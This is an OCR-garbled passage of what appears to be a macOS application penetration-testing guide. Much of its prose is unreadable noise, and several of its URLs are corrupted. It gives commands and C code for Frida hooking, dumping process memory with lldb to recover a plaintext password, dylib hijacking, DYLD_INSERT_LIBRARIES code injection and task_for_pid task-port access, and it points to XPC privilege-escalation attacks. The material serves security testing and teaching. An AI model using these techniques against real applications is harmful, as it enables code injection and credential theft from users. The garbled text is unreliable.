- « S _Hooking & Memory Interception * -~ s{ T8 * {.Xx {{Javascript 81t x " _ *

¥l x & xs sk ¥, T T85®”< § F . o 4iLX YuesSTDox ", k"

ip3 install frida - tools

1o 444 1. 83 ¥ @4 « v So0vaScript Fridar 1, 1 » & ST 5 9« o
Y x ’: ¥ X ¥ v><s.|xZZ”J5 R 1maCOS x b|deh SR N O TN

Interceptor . attach (Module. findExportByName (null , "open"),{ onEnter: function (args)
{console . log ("File path: " Memory readUtf8String  (args[ 0])); console . log ("Mode: "
args[ 1]. toInt32_()); } b);

®  x_ *macOS + X HArdar 1, 1~ ~«s .~ 9 Bfrida-Is ! x « % 7

~ ~
Daniels-MacBook-Pro:macos-pt daniel$ frida -1 script-pt.js 56809
Frida 16.0.11 - A world-class dynamic instrumentation toolkit

Commands:
help -> Displays the help system
object? -> Display information about 'object'
exit/quit -> Exit

More info at https://frida.re/docs/home/
Connected to Local System (id=local)

[Local::PID::56809 1-> File path: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Res
rgg::p:th: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rgg:'pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
r?g::pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rggz'pgth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
rggzngth: /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Resources/Menus.loctable
Mode: ©
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https://objective-see.org/products/taskexplorer.html
https://objective-see.org/products/taskexplorer.html
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://frida.re/
https://frida.re/

Memory Analysis

XTI e oA e e X TThdesxe Y F X LY R 1498 X

> v ~ v v > <

.

® 4« « L Feass T X, YTC XXTL X] X o xs]y ) s "x (s

XEoder 0! TS A. ¥ @ L L% dSd . cdu xS IASAT LS s
XX PYS vd I 4¢3 s dido rd o _H AR A X

CESER I SRS P2

-

X o XH @A XX xs 4 @ sTixs Ldufnps X o Al A2 X T
¥oooXssl X O LS X X {Ldss PIDE o 4

ps aux | grep -i "app name"
41T xdxquessE g tisx i ldbX | o TEL T~
lldb -- attach -pid 44434 3> 44444 [/ PID of process

gBttaskallow s « _ -~ F Sr 4 _ x4 X o 4HA T 4T | SIRsxs | 4 Xx [XOx

S b e o @l A b TSSO Y X O L s

Yidbd x 5% Xssl x o % T, duthp, i M4l

~ >

process save- core output file

Daniels-MacBook-Pro:macos-pt daniel$ 1lldb --attach-pid 56809
(11db) process attach —--pid 56809
Process 56809 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason =
frame #0: 0x00007ff8089526a2 libsystem_kernel.dylib mach_msg2_trap + 10
libsystem_kernel.dylib ' mach_msg2_trap:
-> 0@x7ff8089526a2 <+10>: retq
Ox7ff8089526a3 <+11>: nop

libsystem_kernel.dylib ' macx_swapon:
Ox7Tff8089526a4 <+0>: movq %rcx, %rle
Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = 0x1000030
Target @: (dummy) stopped.
Executable module set to "/private/var/folders/zq/2dkfn@x135x8t82kblkqrd040000d
s/Mac0S/dummy" .
Architecture set to: x86_64h-apple-macosx-.
[ process save-core dummy-dmp
Saving 4096 bytes of data for memory region at @x10bbl1f000
Saving 8192 bytes of data for memory region at @x10bb23000
Saving 24576 bytes of data for memory region at ©0x10bb2f000
Saving 32768 bytes of data for memory region at 9x10bb36000
Saving 49152 bytes of data for memory region at 0x1@bb6f000
Saving 4096 bytes of data for memory region at ©x10bb7b00e
Saving 4096 bytes of data for memory region at ©x10bb7c000
Saving 4096 bytes of data for memory region at 0x10bb80000
Saving 8192 bytes of data for memory region at @x10bb84000
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https://lldb.llvm.org/
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger

[Daniels-MacBook-Pro:macos—pt daniel$ cat dummy-dmp.txt |grep boom

8>> my password: booml123!!

my password: boom123!°

my password: boom123!

my password: booml23!

Vbooml ?"#$%Z$classnameX$classes_
Uboom ?

Vboomy ?

wWboom's ?

Wboom-1 ?

Vbooms ?

Wboom 1 ?"#CD~NSMutableArray?CE)WNSArra

oLl i x o sldbd X kX d fss. .8 8k W7 x T IR

an ~ ~ ~ v>

s lox oo ><Z~§i_qu’yx|_dp|_x_|)-|s|_s

~

process status

Ld A4l w 4 threadlists | x WAZISIIC " $AsL s X S, 4 ¢ xS XsoY f {sl ]

XAT L s 4% x

P4 LS X XD x{s, I ] s

P E disassemblEmemory read X 4 < o 7% B isf {0 o ATLX LA SR T L
P T4 S 4T XISy {7 1 4 ]S 11 "X X Ymerory read @ X X X X 4
'S .- XX XX SOy Axsx -|) w4l >=-|‘_-j|s><,, SX LCT[djsassmbIe

Daniels-MacBook-Pro:macos-pt daniel$ 1lldb --attach-pid 56809
(11db) process attach --pid 56809
Process 56809 stopped
* thread #1, queue = ' f read', stop reason =
frame #0: vxeeoel‘fd09992032 11bsystem kernel.dylib 'mach_msg2_trap + 10
libsystem_kernel.dylib mach_msg2_trap:
-> Ox7ff8089526a2 <+10>: retq
Ox7ff8089526a3 <+11>: nop

libsystem_kernel.dylib macx_swapon:

Ox7ff8089526a4 <+0>: movq %rcex, %rle

Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = ©x1000030
Target 0: (dummy) stopped.
Executable module set to "/private/var/folders/zq/2dkfn@x135x8t82kblkqrde40000gn
s/Mac0S/dummy" .
Archigectg£g4§ggft0°,xSQ_éah-apple—macosx—.

Process 5o08vY stopped
* thread #1, queue = 'com.apj id', stop reason =
frame #0: 0x0000 7‘?Q9999Lcd“ 11bsystem kernel.dylib 'mach_msg2_trap + 10
libsystem_kernel.dylib mach_msg2_trap:
-> ©Ox7ff8089526a2 <+10>: retq
Ox71f8089526a3 <+11>: nop

libsystem_kernel.dylib 'macx_swapon:
Ox7ff8089526a4 <+0>: movq %rcx, %rle
Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = ©x1000030
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S Y XTI s@ ] 4Ll 3% . Jq SR xS 4P 1 8 | {[Mrace XSX LKL AT
Y x .1 K4 DTracet _ x _ 1 _ 1
oAU ST A X T X X RN 4 L SIS oo x o fiF . §
Y xslx. s

ps aux | grep <application name

sYe Xssl o x & xs 1« ¥ Dlrace ~ ~ ¢ PIDS © «x " X4~
sudo dirace -n pDPEAB OAOCAOKkKkT AT 1T AkAT OOUp ERIDOOAAAs A(

S W2 X A 44 { . malfocs 4 - T Xy A1 xDTracel | 45« A%S X o
¥ %8s, 0% 4 1 4.<% s mdloc

>

Daniels-MacBook-Pro:Documents daniel$ sudo dtrace -n 'pid$target::malloc:entry { trace(arg@); }' -p 467
dtrace: description 'pid$target::malloc:entry ' matched 1 probe
CPU FUNCTION:NAME

malloc:entry 272
malloc:entry 544
malloc:entry 24
malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

X x4 1d] 4. i 7, L ST N gd . KX W JDTracel | 4 4wl x 7T 4

(=Y

1
il
al
1
1
il
il
1
0
(]
0

x 14 Tesi”dy  ox P {sd .+ % X Btacktraces 1, X sl ¥ ¥Tux . 14 € o808

I . Lo XX ] 4 L

x

Lo A)7s xR 1% DTraces 0o 11 ) 40w xsl Xy

- RS >

G4 X% JTCH X X4y | x

@ oq . “:-IXL,,>X\.:~|_>Q‘ >S“|_:A:V‘ - 1 VI-AZ'F‘-]XX“: X - 1« L

A~

Dylib Hijacking

dglibh: x 4 .4 . %« 40 1y x> macOE s _ xsl 4. « { Bylib hijacking , ~

v <

@ x | 7 ofxxss  x 14 sl bfjacking |~ SSS X IR 4P KU ORAN 414y s

13

~

dylibscdyld-L s _ 1 « s
s X INBRCOT @ x 4 S H e 47 A 3 T e 00d X I L {7 sl

v

x xi{{s: X 4 T x {1 dgnamic linkedd _ % 1 ;% 5 S T I R
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http://dtrace.org/blogs/about/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
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LoD X XXX X X g {7 X s 4 qis” | MachO Loade® (X KA LS e |
s 1484 %] {Ksixsdglde _ ¥ v x lodysamic linker ¢ < X W X s 14 s

d 4L~

L _header MackO: +« ! dyhamic linker MbchO1 _ - % 1> _ ‘macOS. S « ~4s. * «
x4, x4 4 Header MackO® x 4 @ % { Lx 2> {4 xi ol X4l Jx {4 s

ST 4 v L S IVSS T LIS ST s Y L s

~

X { g x , 1 X s 1 x s

@ . « " {dylioLC_ID_DYLIBLC LOAD DYBIB 1 ; #x¢. ~ % ] x . s

Linkinﬁ Loadi
(at compile time) | (at runtime)

—

d | dyd |
l’br'ar'y path to hame l
--> LC_LOAD_*DYLIB 7

l Dinamic libraries

|

|

185 T, 9% 4%d, . {30« | {1 dyhamicloader | ! 1 x « s 7 4 %3 x
YsAEby 1By 1¥vx X1 MachO

L% A s g s . C% 441 4 . ¥ 447 4 4 LC_LOAD_DYLIH|

w
)

SA A x4 s 4
> vy fvdss o0 T xS o x o 4s 8440 4 1+ LC_LOAD_WEAK_DYL®B
@ v B XA H faxd s XS
@44 x4 s A9 T HEe 19414 1-LC_REEXPORT_DYLIB
P s, T L LD xixiys, s ¢ Tisxs X 0 dynamic loademr
S {48 X¥d Hsf x4 B kS ST LA s

1D« s s, s 8 xiqL dylibm ¢ X 4 7 14 Nk shortcutyt _ ¢ _ s 4 uexd41740 |
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https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands

¥ 4{irds s x

PR TR M B A I R O |

Lot v 32 . s X ws | s s {4 01 %8s " L - @executable_path 1
®Applications/Dummy.app/Contents/MacOS | ¥ x4 s -

Plxiov 4 I pRachod -« RS B A4S XHI X1 S " n@loader_path |
®” 4 1

®. T, LCRPATH! x4 I 4x " {ix4.X {5 2 x § 1« % IS ” . m@rpath I

1

S

S

1 uex41140 @rhpath dependent librariggl v ¥ X ko 44 H 00 H 4 ¢ 31T H 2 XA

w8, {Isw Xssl o x (s3sy x@ppath - «~~ 41 ! ¥ $idstall_ name_tool ' x «_ _*

dustom.dylidr _ % 4 1 ¢ 5" « “+s_s ]@rpath/custom.dylibi
install_name_tool -id  @rpath/custom.dylib custom.dylib

> v v

S

L

CXXLCRPATH " 4 S10sx L o X XA oy A e s T OseR f ¢

@ xiIsPTx s 4 dgdsis D ] ls{ .~ | KCXRPATH! x MachO

Bulld Seflings  Build Phass

Bavecutable_path) (Fiame...

Y 4P as . Xdyld ST . s Kk 24l q%

T x Udyld shared cach& * « « ~ *sl 4 x 8 49 . « sl dylds3 xsi4i4 ¢« } x * ¢

XY D xxDx Toxs 4 ]s {184l x «  xrameworksidylibs. __ « ~5 7 X x

System/Library/dyld/dgl_shared_cache .}k

s 7 lsx (T o xpex o4 X1 dyld X ox T s Al X s 4se{ . ¢ v S
@®©C _LOAD _*DYLIB
s, C%  FUS T Fx s« s Tdyldt @rpattii - ! Yixx_ < 4« SA
x® dylibrt x s . .~ s ¥ x < X1 xrg@gntime searchpath0

YA A S P Rsisy L v s Tdyld SR . LT A A s T

./ System/Library/Frameworks/asr/local/lib, /usr/lib

DX T axl x L, s3I S K oS LS s, 1x 4, IS s L, oo

o~

o> dsdsL SEX4 L 0 A .
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https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html#:~:text=A%20run-path%20dependent%20library,How%20Dynamic%20Libraries%20Are%20Used).
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
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DylibL - x 1 L« _ s

XTI XL X A e X g T %

v —_— >v

s, X% 51 1 X s SXHEN WP
ncO hijacking dylie. s « ~ s

~ v

Eoxgdgxe <s 4 D 3. T ARIFL- Apple Mobile File Integrity 2 -~ 71 4 dlylibx s .« . s* x

() I L va L, x4 %R Y . A\",_=x-| 1 . >-|VI|_ I ¢ WX s

co XIS N I XS P LS g A L X M p T AN LB S

X 4 YT 4 Y X 40" I 27 x _ vhardened runtimer 0 XL 3 x x 538 7 ¥ s

@ _ s s, 88 x TeamlID @ ¥ x x4 04X T ETSE e o X

Y i@ Pd. & 8x 00 ddlib hijacking « 7 d I PS4~ w7 A
S« _~39s8s 4 x.<hardenedruntime r _© L * ¥SX” 4+ {7 T X Xs X"\ f s
ST 1 Xewso 4L ol ~com.apple.security.cs.dibke-library-validation

® 4 4 <siAsXE X 44¥x _us. [l "L ag@p/Content§s 4« « ¥4 S0 1 d % ]

s 1 y x cddesign-verify -verbose dummys | x I xs os o f DIIxs T LG x DG 47

> N

¥ U oAsaid o 4D Uk A I sk {1 ox s

Ce

julia@Julias-MBP app % cd dummy_with_dylib/dummy.app/Contents/Mac0S/
julia@Julias-MBP Mac0S % codesign --verify --verbose dummy
dummy: a sealed resource is missing or invalid

file added: /Users/julia/app/dummy_with_dylib/dummy.app/Contents/Test/custom.dylib
julia@lulias-MBP Mac0S % |}

L _Dylib Hijack Scanndri | * @ _ § i dlib hijacking s . 14 « « # pa X X7 L

~

Y 4 TsIEBE Y I sotoolt DX o XX 41 { ools | ox W oxs oD Ko g ] L

a ~ >

PXXie ST 4k x g,

¥Iox o % 3L AA | dylibs: x sq91 |
otool -| dummy| grep LC_LOAD WEAK DYLiB5

IEEIRACHTED AR I SR IR CEL R I G I B ERCE T R R PO PR

¥oAASHXL Fdylib 44 . 4k s

julia@lulias-MBP app % cd dummy_with_weak/dummy.app/Contents/Mac0S/
julia@Julias-MBP MacO0S % otool -1 dummy | grep LC_LOAD_WEAK_DYLIB -A5
cmd LC_LOAD_WEAK_DYLIB
cmdsize 8@

name @executable_path/../Frameworks/custom_weak.dylib (offset 24)
time stamp 2 Thu Jan 1 82:00:02 1970
current version 6.8.8
compatibility version 6.8.8
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https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://www.manpagez.com/man/1/otool/

otool -| dummy| grep LC_LOAD DYLIB A5

\arpathry © x 7 dylib? x 4 ¢ v x 1 4¥1]

julia@Julias-MBP MacOS % otool -1 dummy | grep LC_LOAD_DYLIB -A5
cmd LC_LOAD_DYLIB
cmdsize 48
name @rpath/custom.dylib (offset 24)
time stamp 2 Thu Jan 1 82:00:82 19780
current version 6.8.8
compatibility version 6.8.8

s 44w £X  {PC.RPATHX | ¥ «« x | " {@pathiy : x " _dyfib: x 17 7 ¢ o

a >

S .. 89 IS Px gL, LC_RPATH S " 4: X1l ¥ 3 77 sf. . s® 4D 47s

DA Ayl F A A s D Sl X iva 8 T 4 LXSY L] v .8 KRS ST
*YI 200 xsh{Oqs, 0 o & TLIXTTE Y XN E X 43 % P X
@executable_path/../Frameworks

julia@Julias-MBP MacOS % otool -1 dummy | grep LC_RPATH -A3
cmd LC_RPATH
cmdsize 48
path Rexecutable_path/../Frameworks (offset 12)
Load command 33
cmd LC_RPATH
cmdsize 4@
path @executable_path/../Test (offset 12)
Load command 3&
julia@Julias-MBP Mac0s % i

14 .1 xud x & {@ppathr - " | tigstom.dylihy: « ~ «:74 _ "s44l4s. x¥ s vy x | X
U XTSI yx " { 03N ¥ [@kexecutable_path/./Test 4 1 ««1x0 54 4 1dylibrie s
X 7., ~s O o (@executable_path/../Test ” _ d*x _ @executable_path/../Frameworks

@ 1 1dylibre s 1 L - _ @executable_path/../Frameworke*x " dylibrg - «1 41 " s

Y Xk x . Bx dylib, x x4 % %

<stdio.h>
<syslog.h>

((constructor))

void customConstructor (int argc)

{
syslog (LOG_ERR,"Dylib loaded successful'"

X "dgle, L4 X s o X v B L sy sy b scpos 4]

> v ~ v

dylibre v _* *x « ¥ 1 > X s{{lcompatibility_versior current_version- 1 . ¥ k.s{ 1 ¥y s

s 4 T 1€ {x M el x s o4 HHs 1 dylore T x fO*d d o
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—o Yy tisx 0 4§ {dykbm s x < 4 4 Xrdlexported: 14 - x o <% 4 347

N

Yeexport_library

Load command 11
cmd LC_REEXPORT_DYLIB
cmdsize 48
name Qrpath/custom.dylib (offset 24)
time stamp 2 Thu Jan 1 02:00:02 1970
current version 6.8.0
compatibility version 6.8.0

gcc -dynamiclib - current_ve rsion 6.8.0 -compatibility_version 6.8.0 custom.c
custom.dylib - WI, - reexport_library "legitimate dylib"

install_name_tool -id  @rpath/custom.dylib custom.dylib

Y@k shortcuth* 1 ~ 7 &1 _ Hyldyhbrg ¢ ~ o XS4 s""(« s 8 x 7 A

install_name_tool - change <old new> < target dylib

T Bd o4 vds, | @executable_path/../Test 1 1 «dylibre - <« 4 5S4 X XL

Process X L><
Dylib loaded successful!
Received configuration update fr
dummy (custom.dylib)
Subsyster Category: <Missir
dylibinjectionh: « » «d"4sL S{" % KiQo L 8 | sq™s T IR { g DX i s x "X

17yl x A1 Elx 4 o] s x ST Y T X I ] sy Q0. L 0 s

X Doxy s riixst I Ll X d A s o bl o« SB _ ASTH Y Xy

XA XX F 4 T X8y
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Code Injection

10 771%® s 4w AL x 48 x LI qxes Lxsd L 1 I o ssc 4 U I xica L, §s
\y Xiaw » CosX{ @ K., v1 S
dyld_insert_libraries - -~ dylib: « ~ “d

mach task port -~ 9 « ~ @

Kdylib: « » 9 s

~

sx 4xs i 1l ysi{ macOS: 1At Lx il 1s g 4itylib: <. s
Lo AL siixst s L x o $ J @Idos 4 _ ¢ 41 ¢ %1 DYLD_INSERT_LIBRARIES
@« x LD PRELOAD] 15 | *E < 4 @+ « 41 -~ s

TR RX UKL oS M« b F L XIBIX W TLIsg XU, S { P, s
S14.-d_¢€4424144{DYLD INSERT LIBRARIES : S1® 1« « 4 ¥s . s
syt 4~ s Idynamiclinkert (X 141 {5 sl T, 990X T 145,
L tx4xumA{T xr 4{xx4{_ T4 Hs .S xDYKD INSERT LIBRARIES] * s
Y {1" ] x s

DYLD_INSERT_LIBRARIES
This is a colon separated list of additional dynamic
libraries to load before the ones specified in the program.

If instead, your goal is to substitute a library that would
normally be loaded, use DYLD_LIBRARY_PATH or
DYLD_FRAMEWORK_PATH instead.

®® X 4" L X AL T e s T CSIR -

L3 1°_~ 1 -.® ] Mardened Runtime X ~» « XX { « w AW X o> ¥ SSPXT 5 , « %
® 1.+ * DYLD_INSERT_LIBRARIESIS] % | d 4 & Xt sS4 {7 0

Ty g s I XX o dalL, RBSR Y I ox{s X5 § % | Xiyxsy 4 TSI F
Yylib: « » Sus{ X xs y X k¥ ATE" s& |,
Lk 1 xs XX x* 4., x8sy {-Allowing DYLD environment variableq
.DYLD_INSERT_LIBEASRI. dyld
1 x aaxsxsessey s X w1 . © 3 49, s s - "Disable Library Validation

XEY 4, 3.0 s oS w9 X s x (T 0 {Team 1D
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X s sl . «

i L edtitlements):

boedgibl < o SSS (s

X v assx o4

com.apple.security.cs.disablibrary-1¢  com.apple.secitity.cs.allowdyld-environmentvariables

¥ .|:yx>-|ss-||_xs~-|A‘ «

1L o Sxxp 5y {{. HuBeri: x . !validation

dyld DYLD_INSERT_LIBRARIES

-~

System

Integrity
Protection

check
entitlements

v

Main application

com.apple.security.cs.allow-dyld-
environment-variables

Deny

-« X

- dglibo: 4

<stdio.h>
<syslog.h>

g,

((constructor))

void customConstructor (int argc, char **argv)

printf  ("Hello! \n");
syslog (LOG_ERR,"Dylib injection successful in

¥ . xgt;ci I x - NXZ ~@|ﬂ)02 i "s-|-||-|s,,2)‘,v, %

jod ¥abrg <« ~ &4 el Y D8y

%4 n", argv[ O]);

N IX L« XS

gcc -dynamiclib inject.c - 0 inject.dylib

1o K0 4 4.8 % 4xs s

DYLD_INSERT_LIBRARIE®ject.dylib

Julias-MBP app % gcc —dynamiclib injeet.c -o inject.dylib
Julias-MBP app % DYLD_INSERT_LIBRARIES=inject.dylib ~/fapp/dummy.app/Contents/Mac0S/dummy

Dummy a|

LY B E s b xdglibre

~/dummy.app/Contents/MacOS/dummy

PP

->PRESS=-

Send HTTP request

Penetration Testing of macOS Apalions
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CHREE I L = R RN IR R D IR RIS SR R SN LR E L EIPES S N S

MacOS Console 14« « 41, %

>

Process

dummy laquesti ookup; pe id . typa \, class
dummy
dummy

dummy

Injection via Mach Task Port - = x " s < A

Lodo X . <pach task POt X |« s 4% 4L § K X Aa L SIS L I g ]
~ _ . ~cOm.apple.security.getaskallowds « _ ~ sl@® o sc _sIB@r 1 | #4870 X _ < 1o
BT B XS]l Xv b v P A A S X, TS X g X LS L

R R R S N

¢
-

P40 e 3 {4 4@, PODDd 4 0SS5, X fnach port: «¥ 4 s 1" X b x s§ oy x|
Gootd: 1~ L S TN X« p. s X Ds

<stdio.h>
<stdlib.h>
<mach/mach.h>
<unistd.h>

int  main() {
setuid (0);
pid_t pid= 4570;
mach_port_t task;
kern_return_t kr = task_for_pid (mach_task_self (), pid, &task);
(kr I= KERN_SUCCESS) {
printf  ("Failed to get task port for PID %d %3 n",pid, mach_error_string (kr));
1

printf  ("Got task port 0x %x for PID  %d n", task, pid);

0;

"JHAMFL: « 4 X 7 U sF A s« LLPIDE X Sis{ T I s L8 4., 7]

cEYO X P AT DX S x D L s 4 L Y XAy X ke T ] x DS
Y1445 ¥e 21054« 4+ 1~ c@m.apple.security.cs.debugger- _ ~ s s

[kernel (/System/Library/Extensions/AppleMobileFileintegrity.kext/Contents/MacOS/AppleMobileFileintegrity)
Subsystem: -- Category: <Missing Description> Volatile
Activity ID: 0 Thread ID: Ox1cfc9 PID: O 2023-04-09 15:05:50.489254+0300

macOSTaskPolicy: (<no identity>) may not get the task control port of (dummy) (pid:3786):
(dummy) is hardened, (dummy) has get-task-allow, (<no identity>) is not a declared debugger(<no identity>)
is not a declared read-only debugger

c‘q;q L xX T Kaed ~ 9 Btﬁisk_for_pia_b: x 4L " X Ix ‘v“.[ "N.|x|_v>a}><w ¥ sx x| xsszIs XS «
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T AT A o Lo e XX A xx 4 ¥y X=5,:LAZ,’ X s 4 "I]] € v="-|,_-|x” S pdx

~ o~ ~

@emote thread injection 1 {1 HX"x |

17 0847, scdm.apple.security.gefaskallow s « . s X 40 s | { *Apple
s " {s "C9 . L~ SuvSq,8% | sx T t 4% { X x I xxXcodel ~ X "7 « ixxsq4 . (4 L . L

(<)) e x ,oxx b, x ¢ 4 o vHdn] 1 dsx | ,:XXV'HS{_\; _—

~ ~ v v

XPC Attacks

X ”&Z “:'!,"P'MNX“”L}'lL"E‘X" 2(@0 Lo~ ZsVAJxlsjs :L‘M X XL Ix L x %
X A 0o XX x T X x s xXXP@G x w. X s=xxs-|ZJx,,\-| 182 0 147" A .

@4 x¢ 119 f

S ., X :‘“ ST I I s :> L VmQ.COS: .. V“@CD: 11 HiL4s%. x ~=“)< ,,XYHH)QPC
CD,,]thﬁXfA‘s;q_fsﬁ‘.'|1xx‘v

s IO AN X OXPC X fs . boyxsy*x 4 X ok 14X 1T XRG X |«

~ o~ ~

CX e A AT L X xS X dex oo D s i3 s L ksl ]

S v wdw Tus U FLXPCL (s v x g Xl x X $ XPCE x| Xxxs g x {7
cp>“2x S

~

@idileged helper toolg: x s * ¥ ¥ .5 O plx p 44X X A< 4 4  XPCL P ox . {
A esadse w4 Al ¢ A« L d) chBlper agentscprivileged daemond r % 4 x I 4 s
Lxs<-|v1]z><s§<x<‘y~:,,xs L, XA 4. oL x “|_>sg’q; ,,A:xx,,:]x-|‘“x.|\|_)\,_

~ ~ ~ > ~

FX e A kA s e X L T s XS X L. L8, x XAl

v~ ~

dLibrary/PrivilegedHelperTools

Y AP F,  + 1¥ %00 XPC x| wi x40 x4
1 The Evil Bit: XPC

1 Offensive Security: Microsoft Teams macOS Local Privilege Escalation

 YouTube: Understanding XPC Mechanism and Attacks
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http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://developer.apple.com/documentation/xpc
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc

Technologic

Foxol A

oA T @y Us xsi b4 47 ,madOS X4 « wit " K X" L €¥G X

x 7 Ap Sandbox SIPx _s]” ¥ ] L. LoX 7 apXYXE 0, x X DI xa ¥ 4Ly s

., X n \((‘ZVSXXPQSZ X o« 4l cxxX

>

~ L 1 X x seltitlements: « 4 X ¥l b TN {7

MacOS * 1 « « X, XX s

MacoS X 4 « wHd o ¥ LSS LNk Xops 4595l 4 s xx’.

~

s LY x4 X qx

https://developer.apple.com/documentatin/bundleresources

https://developer.apple.com/documentation/bundleresources/information_propertyt lis

https://developer.apple.com/documentation/servicemanagemént

https://developer.apple.com/documentation/bundleresources/placing _tem_in_a_ bundé

https://www.kodeco.com/73tmacosdevelopmentfor-beginnerspart-1

https://developer.apple.com/documentation/security/app_sandbox?languagesobj

https://developer.apple.com/documentation/xcode/configurirtie-macosapp-sandox/

https://developer.apple.com/documentation/security/notarizing_macos_software before_distribbutio

https://support.apple.com/enil/HT20489

= =4 A4 -4 -4 A _a -8 - -2

https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity

Protection Guide/FileSystemProtections/FileSystemProtections.html#//apple ref/doc/uid/TP400164
62-CH2SWL

1 https://developer.apple.com/documentation/security/disabling_and_enabling _system _integrity prot

ection?language=objc

https://www.youtube.com/watch?v=c8lgbydj41U

https://www.hackingarticles.in/wiresharfor-pentestersa-beginnersgquide

https://developer.apple.com/documentation/security/code_signing _services

https://sec.oktacom/articles/2018/06/issuesroundthird-party-applecodesigningchecks

https://developer.apple.com/documentation/security/hardened_runtime?language=objc

https://developer.apple.com/documentation/bundleresources/entitlements

http://www.newosxbook.com/tools/jtool.htm

https://objective-see.org/tools.html

https://frida.re
http://dtrace.org/blogs/brendan/2011/02/11/dtracepid-providerarguments/

= =4 4 4 A -8 A -2 -8 -2
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https://developer.apple.com/documentation/bundleresources
https://developer.apple.com/documentation/bundleresources/information_property_list
https://developer.apple.com/documentation/servicemanagement/
https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle
https://www.kodeco.com/731-macos-development-for-beginners-part-1
https://developer.apple.com/documentation/security/app_sandbox?language=objc
https://developer.apple.com/documentation/xcode/configuring-the-macos-app-sandbox/
https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution
https://support.apple.com/en-il/HT204899
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
